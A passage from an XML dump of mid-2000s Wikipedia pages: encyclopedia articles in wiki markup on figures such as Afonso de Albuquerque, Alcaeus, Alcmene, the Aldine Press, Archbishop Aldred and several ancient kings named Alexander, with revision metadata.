In [[1512]] he sailed for the coast of Malabar.  On the voyage a violent storm arose, Albuquerque's vessel, the ''Flor do Mar'', which carried the treasure he had amassed in his conquests, was wrecked, and he himself barely escaped with his life.  In [[September]] of the same year he arrived at Goa, where he quickly suppressed a serious revolt headed by Idalcan, and took such measures for the security and peace of the town that it became the most flourishing of the Portuguese settlements in India.  Albuquerque had been for some time under orders from the home government to undertake an expedition to the [[Red Sea]], in order to secure that channel of communication exclusively to Portugal.  He accordingly laid siege to [[Aden]] in [[1513]], but was repulsed; and a voyage into the Red Sea, the first ever made by a European fleet, led to no substantial results.  In order to destroy the power of [[Egypt]], he is said to have entertained the idea of diverting the course of the [[Nile River]] and so rendering the whole country barren. His last warlike undertaking was a second attack upon Ormuz in [[1515]].  The island yielded to him without resistance, and it remained in the possession of the Portuguese until [[1622]].

==Political downfall and last years==
Albuquerque's career had a painful and ignominious close.  He had several enemies at the Portuguese court who lost no opportunity of stirring up the jealousy of King Manuel against him, and his own injudicious and arbitrary conduct on several occasions served their end only too well.  On his return from Ormuz, at the entrance of the harbour of Goa, he met a vessel from Europe bearing dispatches announcing that he was superseded by his personal enemy [[Lopo Soares de Albergaria]].  The blow was too much for him and he died at sea on December 16, 1515.

Before his death he wrote a letter to the king in dignified and affecting terms, vindicating his conduct and claiming for his son the honours and rewards that were justly due to himself.  His body was buried at Goa in the Church of our Lady.  The king of Portugal was convinced too late of his fidelity, and endeavoured to atone for the ingratitude with which he had treated him by heaping honours upon his natural son Brás.  The latter published a selection from his father's papers under the title ''Commentarios do Grande Affonso d'Alboquerque''. 

The Indians long remembered his benign rule, and used to visit his tomb to pray him to deliver them from the oppression of his successors.

==References==
*{{1911}}
*[http://www.newadvent.org/cathen/01270c.htm Catholic Encyclopedia article]

[[Category:1453 births|Albuquerque, Alfonso d']]
[[Category:1515 deaths|Albuquerque, Alfonso d']]
[[Category:Portuguese explorers|Alfonso d'Albuquerque]]
[[Category:Explorers of Asia|Alfonso d'Albuquerque]]
[[Category:Portuguese admirals|Alfonso d'Albuquerque]]
[[Category:Portuguese generals|Alfonso d'Albuquerque]]

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[[pt:Afonso de Albuquerque]]
[[sv:Afonso de Albuquerque]]

Reduce linking to solitary years and solitary months in accordance with the manual of style</text>
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  </page>
  <page>
    <title>Alcaeus (poet)</title>
    <id>1577</id>
    <revision>
      <id>40965892</id>
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      <contributor>
        <username>RussBot</username>
        <id>279219</id>
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      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Lesbos</comment>
      <text xml:space="preserve">'''Alcaeus '''('''Alkaios''')''' of Mitylene''' (ca. [[620s BC|620 BC]]-[[6th century BC]]), [[ancient Greece|Greek]] [[lyric]] poet, was an older contemporary and an alleged lover of [[Sappho]], with whom he exchanged poems. He was of the aristocratic governing class of [[Mytilene]], the main city of [[Lesbos Island|Lesbos]], where his life was entangled with its political disputes and internal feuds. He sided with his class against the upstart &quot;[[tyrant]]s&quot; who set themselves up in Mytilene as the voice of the people. He was in consequence obliged to spend a considerable time in exile. He is said to have become reconciled to [[Pittacus]], the ruler set up by the populist party, and to have returned eventually to Lesbos. The date of his death is unknown.

When his poems were edited in [[Hellenistic]] [[Alexandria]], they were reported to have filled ten scrolls.  However, the poetry of Alcaeus has survived only in quotations: &quot;Fighting men are the city's fortress&quot; and the like, so judging him, rather than his high reputation in [[classical antiquity|antiquity]], is like judging [[Ben Jonson]] through ''[[Bartlett's Familiar Quotations]]''. The subjects of his poems, which were composed in the [[Aeolic Greek]] dialect, were of various kinds: hymns to the gods; martial or political comment, sometimes quite personal; and lastly love-songs and drinking-songs, the kind of poetry that would be read aloud at a [[symposium]]. Alexandrian scholars agreed that Alcaeus was the second greatest lyric poet among the [[Nine lyric poets|canonic nine]]. The considerable number of fragments extant (''see link''), and the imitations of Alcaeus in Latin by [[Horace]], who regarded Alcaeus as his great model, help us to form a fair idea of the character of his poems. 

==External links==
*[http://mkatz.web.wesleyan.edu/Images2/cciv243.Alcaeus.html A. M. Miller, ''Greek Lyric'':] Alcaeus, many fragments.

[[Category:Ancient Greek poets]]

[[de:Alkaios von Lesbos]]
[[es:Alceo de Mitilene]]
[[fr:Alcée de Mytilène]]
[[gl:Alceo de Mitilene]]
[[is:Alkajos]]
[[it:Alceo]]
[[he:אלקאיוס]]
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[[nl:Alkaios]]
[[fi:Alkaios]]
[[uk:Алкей (поет)]]</text>
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  </page>
  <page>
    <title>Alcamenes</title>
    <id>1578</id>
    <revision>
      <id>28960214</id>
      <timestamp>2005-11-22T04:39:32Z</timestamp>
      <contributor>
        <username>Jwestbrook</username>
        <id>496036</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Alcamenes''' was a Greek [[Sculpture|sculptor]] of [[Lemnos]] and [[Athens]].

He was a younger contemporary of [[Pheidias]] and noted for the delicacy and finish of his works, among which a [[Hephaestus]] and an [[Aphrodite]] &quot;of the Gardens&quot; were conspicuous.

[[Pausanias (geographer)|Pausanias]] says (v. 10. 8) that he was the author of one of the pediments of the temple of [[Zeus]] at [[Olympia, Greece|Olympia]], but this seems a chronological and stylistic impossibility. At [[Pergamum]] there was discovered in 1903 a copy of the head of the Hermes &quot;Propylaeus&quot; of Alcamenes (''Athenische Mittheilungen'', 1904, p. 180).  As, however, the deity is represented in an archaistic and conventional character, this copy cannot be relied on as giving us much information as to the usual style of Alcamenes, who was almost certainly a progressive and original artist.

It is safer to judge him by the sculptural decoration of the [[Parthenon]], in which he must almost certainly have taken a share under the direction of Pheidias. 

==References==
*{{1911}}

[[Category:Ancient Athenians]]
[[de:Alkamenes]]
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[[pt:Alcâmenes]]</text>
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  <page>
    <title>Alcmene</title>
    <id>1579</id>
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        <username>Vervin</username>
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      <minor />
      <comment>/* References */</comment>
      <text xml:space="preserve">:'''''[[82 Alkmene]]''' is an [[asteroid]].''

In [[Greek mythology]]  '''Alcmene''', or '''Alkmênê''' (&quot;might of the moon&quot;) , the daughter of [[Electryon]], king of [[Mycenae]] and a son of [[Perseus]], was the wife of [[Amphitryon]] in his exile, though he had accidentally killed her father. Some mythographers identified her mother as [[Eurydice]] (Graves, 110.c).

With Amphitryon she fled to [[Thebes, Greece|Thebes]], where [[Creon]] purified her husband of his blood-guilt. However, Alcmene's eight brothers had been killed in a cattle raid, and she would not lie with Amphitryon until they had been avenged.

Thus at Thebes she was the mother of [[Heracles]] by [[Zeus]], who assumed the likeness of her husband during his absence to lie with her and stayed [[Helios]], to make one night into three; and she was the mother of [[Iphicles]] by Amphitryon, when he returned, giving birth to Heracles' twin, younger by a day. In this way Alcmene is one among several mothers of mythic twins of whom the sire of one is mortal, of the other a god, the most famous of them being the [[Dioscuri]], two from the double set of such twins of [[Leda]]. Theseus combined in his person a double fatherhood, a human father and a divine: see [[Theseus]]. In this case Alcmene's son Iphicles was mortal, while Heracles became immortal.

While Alcmene was pregnant with [[Heracles]] (&quot;glory of Hera&quot;), [[Hera]] herself tried to prevent her from giving birth to the [[hero]] who would help establish the new Olympian order.  She was foiled by [[Galanthis]], Alcmene's servant, who told Hera that she had already delivered the baby.  Hera turned her into a [[weasel]].

Through Heracles, Alcmene was regarded as the ancestress of the [[Heracleidae]], and venerated at [[Thebes, Greece|Thebes]] and [[Athens]].

After the death of Amphitryon, Alcmene married the Cretan [[Rhadamanthus]], who was exiled in [[Boeotia]]. Their &quot;tombs&quot; were shown to travellers in classical times at Haliartus (Graves, 88.i); such &quot;tombs&quot; were generally sites for propitiatory ancestor [[Cult (religion)|cults]] (compare Burkert 1985). 

==External links==
*[http://85.1911encyclopedia.org/A/AL/ALCMENE.htm ''Encyclopaedia Britannica'' 1911:] &quot;Alcmene&quot;

==References==
*[[Walter Burkert|Burkert, Walter]], ''Greek Religion: &quot;Clan and Family Mysteries'' pp 278ff.
*[[Robert Graves|Graves, Robert]], 1960. ''The Greek Myths'' (revised edition)


[[Category:Greek mythological people]]

[[ca:Alcmena]]
[[da:Alkmene]]
[[de:Alkmene]]
[[et:Alkmene]]
[[es:Alcmena]]
[[fr:Alcmène]]
[[gl:Alcmena]]
[[it:Alcmena]]
[[lt:Alkmenė]]
[[nl:Alkmene]]
[[pl:Alkmena]]
[[pt:Alcmena]]
[[ru:Алкмена]]
[[sv:Alkmena]]
[[uk:Алкмена]]</text>
    </revision>
  </page>
  <page>
    <title>Alcidamas</title>
    <id>1580</id>
    <revision>
      <id>28049542</id>
      <timestamp>2005-11-11T19:34:24Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
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      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Alcidamas''', of Elaea, in [[Aeolis]], [[ancient Greece|Greek]] [[sophist]] and [[rhetoric]]ian, flourished in the [[4th century BC]].

He was the pupil and successor of [[Gorgias]] and taught at [[Athens]] at the same time as [[Isocrates]], whose rival and opponent he was. We possess two declamations under his name: ''Peri Sofiston'', directed against Isocrates and setting forth the superiority of extempore over written speeches (a more recently discovered fragment of another speech against Isocrates is probably of later date); ''Odusseus'', in which [[Odysseus]] accuses [[Palamedes]] of treachery during the siege of [[Troy]] (this is generally considered spurious).

According to Alcidamas, the highest aim of the orator was the power of speaking ''extempore'' on every conceivable subject. [[Aristotle]] (''Rhet.'' iii. 3) criticizes his writings as characterized by pomposity of style and an extravagant use of poetical epithets and compounds and far-fetched metaphors.

Of other works only fragments and the titles have survived: ''Messeniakos'', advocating the freedom of the Messenians and containing the sentiment that &quot;all are by nature free&quot;; a ''Eulogy of Death'', in consideration of the wide extent of human sufferings; a ''Techne'' or instruction-book in the art 
of rhetoric; and a ''Fusikos lolos''. Lastly, his ''Mouseion'' (a word of doubtful meaning) contained the narrative of the contest between [[Homer]] and [[Hesiod]], two fragments of which are found in the ''Agon Omerou kai Esiodou'', the work of a grammarian in the time of [[Hadrian]].  A [[3rd century]] [[papyrus]] ([[William Matthew Flinders Petrie|Flinders Petrie]], ''Papyri'', ed.  [[John Pentland Mahaffy|Mahaffy]], 1891, pl. xxv.) probably contains the actual remains of a description by Alcidamas. 

Lit.: Aristoteles, Rhetorik III 3; - Vahlen, J., Der Rhetor Alkidamas, in Sitzungsberichte der Wiener Akad., XLIII, 507 ff,1864; - F. Blaß, Die attische Beredsamkeit, 1887-1893; - F. Blaß, Antiphontis orationes ... adiunctis ... Alcidamatis declamationibus (1881) 18922; - Auer, Hubertus, De Alcidamantis declamatione que inscribitur, Münster, Diss., 1913; - Milne, M.J.A., A study in Alcidamas and his Relation to Contemporary Sophistic. Bryn Mawr, Diss, 1924; - Walberer, G., Isokrates und Alkidamas, Hamburg, Diss., 1938; - Dupréel, E., Les sophists, 1948; - Webster, T.B.L., Greek theories of art and literature down to 400 B.C., CQ 33 (1939) 166 -79; - Kurz, D., AKPIBEIA, Das Ideal der Exaktheit bei den Griechen bis Aristoteles, 1970; - Finley, Moses I., Die Sklaverei in der Antike: Geschichte und Probleme, 1981; - Dreher, M., Sophistik und Polisentwicklung, 1983; - Heinz, Schulz-Falkenthal, Sklaverei in der griechisch-roemischen Antike: eine Bibliographie wissenschaftlicher Literatur vom ausgehenden 15. Jh., 1985; - Du&amp;scaron;anic, Slobodan, Alcidamas of Elaea in Plato's Phaedrus, CQ 42, (1992) 347-357: 1997; - O'Sullivan, Neil, Alcidamas, Aristophanes and the beginnings of Greek stylistic Theory, 1992; - Taureck, Bernhard H. F., Die Sophisten zur Einführung, 1995; - Rossner, Christian, Recht und Moral bei den griechischen Sophisten (Rechtswissenschaftliche Forschung und Entwicklung; 595), 1998, zgl.: München, Univ., Diss., 1998; -Schumacher, Leonhard, Sklaverei in der Antike: Schicksal und Alltag der Unfreien (Beck's archaeologische Bibliothek), 2001; - Mariss, Ruth, Alkidamas: Über diejenigen, die schriftliche Reden schreiben, oder über die Sophisten: eine Sophistenrede aus dem 4. Jh. v. Chr., eingeleitet und kommentiert (orbis antiquus; 36), 2002, zugl.: Münster (Westfalen, Univ., Diss, 1998).

==References==
*{{1911}}
[[category:Ancient Greeks]]

[[gl:Alcidamas]]
[[hu:Alkidamasz]]</text>
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  </page>
  <page>
    <title>Aldine Press</title>
    <id>1581</id>
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      <id>39713758</id>
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      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
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      <comment>/* Aldine editions */</comment>
      <text xml:space="preserve">'''Aldine Press''' was the [[printing]] office started by [[Aldus Manutius]] in [[1494]] in [[Venice]], from which were issued the celebrated Aldine editions of the classics of that time. The Aldine Press is famous in the history of [[typography]], among other things, for the introduction of italics. The press was continued after Aldus death in [[1515]] by his wife and her father until his son Paolo ([[1512]]-[[1574]]) took over. His grandson Aldo then ran the firm until his death in [[1597]].

==Initial Innovations==
The press was started by Aldus based on his love of classics, and at first printed new copies of Plato, Aristotle, and other Greek and Latin classics. He also printed dictionaries and grammars to help people interpret the books. Since most bibliophiles and book collectors come from academic and classical backgrounds, his first editions are collectors items. His contributions are also respected in the development of a smaller type than others in use. His contemporaries called it ''Aldine Type''; today we call it ''italics''.

The goal of the press was to create plentiful, affordable books so that everyone could have access to literature. When the press expanded to current titles, they wrote some books themselves and employed other writers, including [[Erasmus]]. As this expansion into current languages (mainly Italian and French) and current topics continued, the press took on another role and made perhaps even more important contributions. Their logo of the anchor and dolphin is represented today in the symbols and names used by some modern publishers.

==The Literacy Revolution==
[[Johann Gutenberg|Gutenberg]] gets credit for inventing the printing press with some justification, but [[Aldus Manutius|Aldus]] and his sons created the revolution. Gutenberg produced some beautiful volumes. They were priced so that a man of moderate wealth could buy a book. They were still large, heavy voumes and expensive. A church that had a Bible would typically chain it to a reading stand. Aldus created smaller books (called ''octavo'') that could fit in a saddlebag and that the average merchant or craftsman could afford.

With books readily available, it was now worthwhile to learn to read. In dealing with current topics, the second or third edition is the better book. When Paolo or Aldo hired a great shipbuilder to write a book on shipbuilding, he described all the best techniques he was aware of. Other builders bought the book and then wrote to protest that their technique for a particular technology was better. Many of these improvements were then incorporated in the later editions. Before the Aldine Press, a new innovation might take a hundred years to get from Italy to the Netherlands. Afterward, information started to move in all directions, and communication times were reduced to five or six years. This is an important step in the modernization of Europe, and can even be viewed as a precursor of the [[Internet]].

==Aldine editions==
*1495-1498 [[Aristotle]]
*1501 [[Francesco Petrarca]], ''Le cose volgari''
*1502 [[Dante]]
*1502 [[Sophocles]]
*1503 ''Florilegium diversorum epigrammatum in septem libros''
*1504 and 1517 [[Homer]]
*1513 [[Plato]]
*1514 ''Institutionum grammaticarum libri quatuor''
*1514 [[Virgil]]

==External links==
*http://www.library.ucla.edu/special/scweb/aldexhibit.htm
*http://www.nd.edu/~italnet/Dante/text/1502.venice.html

[[Category:Book publishing companies of Italy]]
[[Category:Renaissance]]</text>
    </revision>
  </page>
  <page>
    <title>Aldred</title>
    <id>1583</id>
    <revision>
      <id>36423862</id>
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        <id>102856</id>
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      <minor />
      <comment>dab template</comment>
      <text xml:space="preserve">{{otheruses4|Aldred the English ecclesiastic|the Anglo-Saxon leader|Hwicce}}

'''Aldred''', or '''Ealdred''' (d. [[11 September]],[[1069]]), [[England|English]] ecclesiastic, became [[abbot]] of [[Tavistock]] about [[1027]], in [[1044]] was made [[bishop of Worcester]], and in [[1060]], [[archbishop of York]].

He had considerable influence over King [[Edward the Confessor]], and as his interests were secular rather than religious he took a prominent part in affairs of state, and in [[1046]] led 
an unsuccessful expedition against the [[Wales|Welsh]]. In [[1050]] he was largely instrumental in restoring [[Sweyn]], the son of [[Earl Godwin]], to his earldom, and about the same time went to [[Rome]] 
&quot;on the king's errand.&quot;

In [[1054]] he was sent to the emperor [[Henry II, Holy Roman Emperor|Henry II]] to obtain that monarch's influence in securing the return to England of Edward, son of Edmund Ironside, who was in [[Hungary]] with King [[Andrew I of Hungary|Andrew I]]. In this mission he was successful and obtained some insight into the working of the German church during a stay of a year with Hermann II, archbishop of [[Cologne]].

After his return to [[England]] he took charge of the sees of [[Hereford]] and [[Ramsbury]], although not appointed to these bishoprics; and in [[1058]] made a pilgrimage to [[Jerusalem]], being the first English bishop to take this journey.

Having previously given up Hereford and Ramsbury, Aldred was elected archbishop of [[York]] in [[1060]], and in [[1061]] he proceeded to [[Rome]] to receive the [[pallium]].  On his arrival there, however, various charges were brought against him by a [[synod]], and [[Pope Nicholas II]] not only refused his request but degraded him from the episcopate. The sentence was, however, subsequently reversed, and Aldred received the pallium and was restored to his former station.

It is stated by [[Florence of Worcester]] that Aldred crowned King [[Harold Godwinson|Harold II]] in [[1066]], although the [[Normans|Norman]] authorities mention [[Stigand]] as the officiating prelate. After the [[battle of Hastings]], Aldred joined the party who sought to bestow the throne upon [[Edgar Atheling|Edgar the Ætheling]], but when these efforts appeared hopeless he was among those who submitted to [[William I of England|William the Conqueror]] at [[Berkhamstead]].

Selected to crown the new king he performed the ceremony on Christmas Day [[1066]], and in [[1068]] performed the same office at the coronation of Matilda, the Conqueror's wife. But though often at court, he seems to have been no sympathiser with Norman oppression, and is even said to have 
bearded the king himself.  He died at York on the [[September 11]] [[1069]] and was buried in his own cathedral.

Aldred did much for the restoration of discipline in the monasteries and churches under his authority, and was liberal in his gifts for ecclesiastical purposes. He built the monastic 
church of St Peter at [[Gloucester]], and rebuilt a large part of that of St John at Beverley.  At his instigation, Folcard, a monk of Canterbury, wrote the Life of St John of Beverley. 

==References==
*{{1911}}
*''The Anglo-Saxon Chronicle'', edited by C. Plummer ([[Oxford]], [[1892]]-[[1899]]).
*Florence of Worcester, ''Chronicon ex Chronicis'', edited by B. Thorpe ([[London]], [[1848]]-[[1849]]).
*William of Malmesbury, ''De Gestis Pontificum Anglorum'', edited by N. E. S. A. Hamilton ([[London]], [[1870]]).
*W. H. Dixon, ''Fasti Eboracenses'', vol. i., edited by J. Raine ([[London]], [[1863]]).
*T. Stubbs, ''Chronica Pontificum Ecclesiae Eboracensis'', edited by J. Raine ([[London]], [[1879]]-[[1894]]).
*E. A. Freeman, ''History of the Norman Conquest'', vols. ii., iii., iv. ([[Oxford]], [[1867]]-[[1879]]). 

{{start box}}
{{succession box | before=[[Cynesige]] | title=[[Archbishop of York]] | after=[[Thomas I of York]] | years=1061&amp;ndash;1069}}
{{end box}}

[[Category:Roman Catholic archbishops]]
[[Category:English prelates]]
[[Category:1069 deaths]]
[[Category:Archbishops of York]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander of Battenberg</title>
    <id>1584</id>
    <revision>
      <id>15900051</id>
      <timestamp>2002-08-09T13:09:02Z</timestamp>
      <contributor>
        <username>Ktsquare</username>
        <id>2240</id>
      </contributor>
      <text xml:space="preserve">#Redirect [[Alexander of Bulgaria]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander I of Epirus</title>
    <id>1585</id>
    <revision>
      <id>40205467</id>
      <timestamp>2006-02-18T23:19:08Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Epirus]] to [[Epirus (region)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Alexander I of Epirus''' (c. [[370 BC]] - c. [[331 BC]]), also known as '''Alexander Molossus''' was a king of [[Epirus (region)|Epirus]] ([[350 BC]]-[[331 BC]]) of the [[Aeacid dynasty]].

He was the son of [[Neoptolemus]] and brother of [[Olympias]], the mother of [[Alexander the Great]]. He came at an early age to the court of [[Philip II of Macedonia]], and after the Grecian fashion became the object of his attachment. Philip in requital made him king of Epirus, after dethroning his cousin [[Arymbas]]. When Olympias was repudiated by her husband, [[337 BC]], she went to her brother, and endeavoured to induce him to make war on Philip.

Philip, however, declined the contest, and formed a second alliance with him by giving him his daughter [[Cleopatra of Macedonia|Cleopatra]] in marriage ([[336 BC]]). At the wedding Philip was assassinated by [[Pausanias (assassin)|Pausanias]]. In [[334 BC]], Alexander, at the request of colony of [[Taranto|Taras]] ([[Magna Graecia]]) and the people the [[Tarentines]], crossed over into [[Italy]], to aid them against the [[Ancient Italic peoples|Italic populations]], [[Lucanians]] and [[Bruttii]]. After a victory over the Samnites and Lucanians near [[Paestum]], [[332 BC]], he made a treaty with the [[Roman Republic|Romans]]. Success still followed his arms. He took [[Heraclea]]  from the Lucanians, and [[Terina]] and [[Sipontum]] from the Bruttii. Through the treachery of some Lucanian exiles, he was compelled to engage under unfavourable circumstances near [[Pandosia]], on the banks of the Acheron, and was killed by the hand of one of the exiles, as he was crossing the river. He left a son, Neoptolemus, and a daughter, Cadmea.  

==References==
*[[Junianus Justinus|Justin]], ''Epitome of Pompeius Trogus'', viii. 6, ix. 6, xii. 2
*[[Livy]], ''[[Ab urbe condita (book)|Ab urbe condita]]'', viii. 3, 17, 24 
*[[Aulus Gellius]], ''Noctes Atticae'', xvii. 21

==External links==
*[http://www.livius.org Livius], [http://www.livius.org/aj-al/alexander01/alexander_molossis.htm Alexander of Molossis] by Jona Lendering
*[http://www.ancientlibrary.com/smith-bio/0125.html Alexander of Epirus] on [[A Dictionary of Greek and Roman Antiquities]] (1870) - text in public domain

[[Category:370 BC births]]
[[Category:331 BC deaths]]
[[Category:Ancient Greek rulers]]
[[Category:Ancient Greek generals]]
[[Category:Alexander the Great]]

[[de:Alexander I. (Epirus)]]
[[fr:Alexandre Ier d'Épire]]
[[no:Aleksander I av Epirus]]
[[fi:Aleksanteri I (Epeiros)]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Balas</title>
    <id>1586</id>
    <revision>
      <id>40642982</id>
      <timestamp>2006-02-22T00:42:31Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] cleanup</comment>
      <text xml:space="preserve">[[Image: AlexanderI.jpg|thumb|350px|right|Silver coin of Alexander I &quot;Balas&quot;. The Greek inscription reads ΒΑΣΙΛΕΩΣ&amp;#32;ΑΛΕΧΑΝΔΡΟΥ (king Alexander). The date ΓΞΡ is year 163 of the [[Seleucid dynasty|Seleucid era]], corresponding to [[150 BC|150]]&amp;ndash;[[149 BC]].]]

'''Alexander Balas''' (i.e. &quot;lord&quot;), ruler of the [[Greece|Greek]] [[Seleucid Empire|Seleucid kingdom]] [[150 BC|150]]-[[146 BC]], was a native of [[Izmir|Smyrna]] of humble origin, but gave himself out to be the son of [[Antiochus IV Epiphanes]] and heir to the Seleucid throne. Along with his sister Laodice, the youngster Alexander was &quot;discovered&quot; by Heracleides, a former minister of Antiochus IV and brother of [[Timarchus]], a usurper in [[Media]] who had been executed by the reigning king [[Demetrius I of Syria|Demetrius I Soter]].

Alexander's claims were recognized by the Roman senate, [[Ptolemy VI of Egypt|Ptolemy Philometor of Egypt]] and others. He married [[Cleopatra Thea]], a daughter of the [[Ptolemaic dynasty]]. At first unsuccessful, Alexander finally defeated Demetrius Soter in [[150 BC]]. Being now master of the empire, he is said to have abandoned himself to a life of debauchery. Whatever the truth behind this, the young king was forced to depend heavily on his Ptolemaic support and even struck portraits with the characteristic features of king [[Ptolemy I]].

Demetrius Soter's son [[Demetrius II of Syria|Demetrius II]] profited by the opportunity to regain the throne. Ptolemy Philometor, who was Alexander's father-in-law, went over to his side, and Alexander was defeated in a pitched [[battle of Antioch (145 BC)|battle near Antioch]] in Syria.

He fled for refuge to a [[Nabataea]]n prince, who murdered him and sent his head to Ptolemy Philometor, who had been mortally wounded in the engagement. 

See [[1 Maccabees]] 10 ff.; [[Junianus Justinus|Justin]] xxxv. 1 and 2; [[Josephus]], 
''Antiq.'' xiii. 2; [[Appian]], ''Sir.'' 67; [[Polybius]] xxxiii. 14. 

==References==
*{{1911}}

{{start box}}
{{succession box|title=[[Seleucid Empire|Seleucid King]]|before=[[Demetrius I Soter]]|after=[[Demetrius II Nicator]]'''&lt;br&gt;or&lt;br&gt;'''[[Antiochus VI Dionysus]]|years=150&amp;ndash;146 BC}}
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[[Category:146 BC deaths]]
[[Category:Seleucid rulers|Alexander 1]]
[[Category:Ptolemaic dynasty|Alexander 1]]

[[ca:Alexandre I Balas]]
[[de:Alexander I. Balas]]
[[fr:Alexandre Ier Balas]]
[[he:אלכסנדר באלאס]]
[[nl:Alexander Balas]]
[[no:Aleksander I Balas]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander of Pherae</title>
    <id>1587</id>
    <revision>
      <id>28049794</id>
      <timestamp>2005-11-11T19:38:00Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Alexander''', tagus or [[despotism|despot]] of [[Pherae]] in [[Thessaly]], ruled from [[369 BC]] to [[358 BC]]. He was the son and successor of the tyrant [[Jason of Pherae]], who was assassinated in [[370 BC]].

Alexander's [[tyranny]] caused the Aleuadae of [[Larissa]] to invoke the aid of [[Alexander II of Macedon]], whose intervention was successful, but after the Macedonian withdrawal Alexander treated his subjects as cruelly as before.  The Thessalians next applied to [[Thebes (Greece)|Thebes]]; [[Pelopidas]], who was sent to their assistance, was treacherously seized and thrown into prison ([[368 BC|368]]), and it was necessary to send [[Epaminondas]] with a large army to secure his release.  Alexander's conduct caused renewed intervention; in 364 he was defeated at [[Battle of Cynoscephalae (364 BC)|Cynoscephalae]] by the Thebans, although the victory was dearly bought by the loss of Pelopidas, who fell in the battle.

Alexander was at last crushed by the Thebans, compelled to acknowledge the freedom of the Thessalian cities and to limit his rule to Pherae, and forced to join the [[Boeotia]]n league.  He was murdered by his wife's brother at her instigation.  Ancient accounts, such as [[Plutarch]]'s ''Life of Pelopidas,'' agree in describing Alexander as a  cruel and suspicious tyrant:

:''Alexander, the tyrant of Pherae (this last should be his only appellation; he should not be permitted to disgrace the name of Alexander), as he watched a tragic actor, felt himself much moved to pity through enjoyment of the acting. He jumped up, therefore, and left the theatre at a rapid pace, exclaiming that it would be a dreadful thing, if, when he was slaughtering so many citizens, he should be seen to weep over the sufferings of Hecuba and Polyxena. And he came near visiting punishment upon the actor because the man had softened his heart, as iron in the fire.''
:::&amp;mdash;Plutarch, ''Moralia:'' &quot;On the Fortune of Alexander.&quot;

==References==
*{{1911}}

[[Category:358 BC deaths]]
[[Category:Ancient Greek rulers]]
[[fr:Alexandre de Phères]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander II of Epirus</title>
    <id>1588</id>
    <revision>
      <id>41688955</id>
      <timestamp>2006-03-01T01:56:30Z</timestamp>
      <contributor>
        <username>Jrp</username>
        <id>80959</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Alexander II''', king of [[Epirus (region)|Epirus]], succeeded his father [[Pyrrhus of Epirus|Pyrrhus]] in [[272 BC]]. He attacked [[Antigonus II of Macedon|Antigonus Gonatas]] and conquered the greater part of [[Macedon]]ia, but was in turn driven out of both Epirus and Macedonia by [[Demetrius II of Macedon|Demetrius]], the son of Antigonus. He subsequently recovered his kingdom by the aid of the Acarnanians and Aetolians. He died about [[260 BC]].

See Thirlwall, ''History of Greece,'' vol. viii.; 
[[Johann Gustav Droysen|Droysen]], ''Hellenismus''; 
B. Niese, ''Geschichte der griechischen und makedonischen Staaten''; 
J. Beloch, ''Griech. Gesch.'' vol. iii. 

==References==
*{{1911}}

[[Category:Greek monarchs]]
[[Category:260 BC deaths]]
[[Category:Year of birth missing]]

[[de:Alexander II. von Epirus]]</text>
    </revision>
  </page>
  <page>
    <title>Aleksander Jagiellon</title>
    <id>1589</id>
    <revision>
      <id>40359142</id>
      <timestamp>2006-02-20T01:16:30Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=250 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
| align=&quot;center&quot; style=&quot;background:#efefef;&quot; colspan=&quot;2&quot; style=&quot;border-bottom:1px #aaa solid;&quot; | &lt;font size=&quot;+1&quot;&gt;'''''Aleksander Jagiellończyk''''' (drawing by [[Jan Matejko]])
|-
| align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0 width=250 style=&quot;background:#f9f9f9;&quot;
[[Image:Aleksander_Jagiellonczyk.jpg|250px|Aleksander Jagiellończyk]]
|}
|-
|'''Reign''' || [[December 12]], [[1501]] -&lt;br&gt; [[August 19]], [[1506]].
|-
|'''Coronation''' || [[December 12]], [[1501]],&lt;br&gt;[[Wawel Cathedral]],&lt;br&gt;[[Kraków]], [[Poland]].
|-
|'''[[Royal House]]''' || [[Jagiellon]].
|-
|'''Parents''' || [[Kazimierz IV Jagiellon]],&lt;br&gt;[[Elzbieta Rakuszanka|Elżbieta Rakuszanka]].
|-
|'''Consorts'''|| Helena.
|-
|'''Children''' || None.
|-
|'''Date of Birth''' || [[August 5]], [[1461]].
|-
|'''Place of Birth''' || [[Kraków]], [[Poland]].
|-
|'''Date of Death''' || [[August 19]], [[1506]].
|-
|'''Place of Death''' || [[Vilnius]], [[Lithuania]].
|-
|'''Place of Burial''' || Holy Mary Cathedral,&lt;br&gt;[[Wilno]], [[Lithuania]]&lt;br&gt;([[1506]]).
|-
|}
'''Aleksander Jagiellon''' ([[Polish language|Polish]]: '''''Aleksander Jagiellończyk'''''; [[Lithuanian language|Lithuanian]]: '''''Aleksandras  Jogailaitis'''''; [[1461]] – [[1506]]), King of [[Poland]] and Grand Duke of [[Lithuania]], was the fourth son of [[Kazimierz IV Jagiellon]].  He was elected Grand Duke of Lithuania on the death of his father 
([[1492]]), and King of Poland on the death of his brother [[Jan I Olbracht]] ([[1501]]).  

